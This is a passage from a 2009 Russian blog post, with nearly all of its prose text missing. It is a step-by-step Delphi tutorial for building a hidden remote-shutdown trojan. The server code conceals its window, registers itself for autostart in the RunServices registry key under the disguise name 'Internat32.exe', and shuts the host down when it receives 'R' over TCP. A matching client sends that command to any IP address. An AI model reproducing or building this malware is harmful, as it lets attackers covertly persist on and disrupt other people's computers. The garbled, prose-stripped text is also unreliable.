-

  • (9)
  • ( ) (8)
  • (7)
  • (7)

 -

" "
: 253 : 0

 - e-mail

 

 -

   _N_U_T_S_

 -

 LiveInternet.ru:
: 07.02.2008
: 179
: 75
: 377

:


, 25 2009 . 17:09 +
IIoZiTiFF !



4 .
. . , . . , , .
Delphi. , , .
, Delphi. , . , .

, . (), (). , , .

:
, Delphi , (File New Application). .

Options Project. , 1.

From1 Auto-Create forms ( ) Available forms ( ), . From1 . . , .

Application Load Icon. , . , , .

ServerSocket Internet, ( TCP, ). ServerSocket1 ObjectInspector. Port. 1024, ( 1000).

, . ObjectInspector Events. OnCreate Delphi, , , . :

procedure TForm1.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Internat32.exe',
Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;

uses registry. , , :

uses registry, Windows, Messages,

, .

var RegIni:TRegIniFile - RegIni TRegIniFile. .

RegIni:=TRegIniFile.Create('Software') - .

RegIni.RootKey:=HKEY_LOCAL_MACHINE , HKEY_CURRENT_USER .

RegIni.OpenKey('Software', true) - Software.

, .

RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName) RunServices ( , ), Internat32.exe ( ) Application.ExeName ( ).

RegIni.Free - RegIni.

, , . .

ServerSocket1.Active:=true .

. . Events ObjectInspector- OnDistroy. , . :

procedure TForm1.FormDistroy(Sender: TObject; var Action: TCloseAction);
begin
ServerSocket1.Active:=false;
end;

. , , . , . . , , . , , ( , ).

ServerSocket1 Events ObjectInspector-. OnClientRead ( , - ) :

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
if Socket.ReceiveText ='R' then
ExitWindowsEx(EWX_SHUTDOWN,0);
end;

, -:

= R
.

ExitWindowsEx . , EWX_SHUTDOWN. , , . , EWX_FORCE. , , :).

, . Save All File. Delphi . (Unit1) . , . Internat32, .

:
, . Project Manager View. , 2.

ٸ Internat32.exe View Source. . , , , , ( ):

program Internat32;

uses
Forms,
Windows.
Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

var
WhEvent:THandle;
begin
Application.Initialize;
ShowWindow(Application.Handle,SW_Hide);
Form1:=TForm1.Create(nil);
Application.Run;

WhEvent:=CreateEvent(nil, true,false, 'et');
while (true) do
begin
WaitForSingleObject(WhEvent,1000);
Application.ProcessMessages;
end;
end.

. . , :

, . , Var.

WhEvent:THandle , WhEvent Thandle.

Application.Initialize .

ShowWindow(Application.Handle, SW_Hide) . SW_Hide , . , , Ctrl+Alt+Del. ( , , ) .

Form1:=TForm1.Create(nil) . , .

Application.Run . , Delphi ++. .

WhEvent:=CreateEvent(nil, true,false, 'et') .

, :

(true)

( , 1000 )



, true true, . :

1. . , (1000 1 ).

2. .

1 . . ( 1 ) , : . . , . ( ), 1 . , .

Ctrl+F9 Delphi . . Delphi , , . , , : HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices. .

, .

:
. . :).

:

1. Button Standart .

2. Edit Standart .

3. ClientSocket Internet

3, .

ClientSocket1 ObjectInspector- . 0, , .

( ) .

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text;
ClientSocket1.Active:=true;
ClientSocket1.Socket.SendText('R');
ClientSocket1.Active:=false;
end;

ClientSocket1.Host:=Edit1.Text ClientSocket1 . , . IP , ClientSocket1.Addres:=Edit1.Text. Edit1 IP .

ClientSocket1.Active:=true .

ClientSocket1.Socket.SendText('R') R. , . R, .

ClientSocket1.Active:=false .

. . Ctrl+F9 Delphi . . . . ( , IP) . .

<--

: [1] []
 

:
: 

: ( )

:

  URL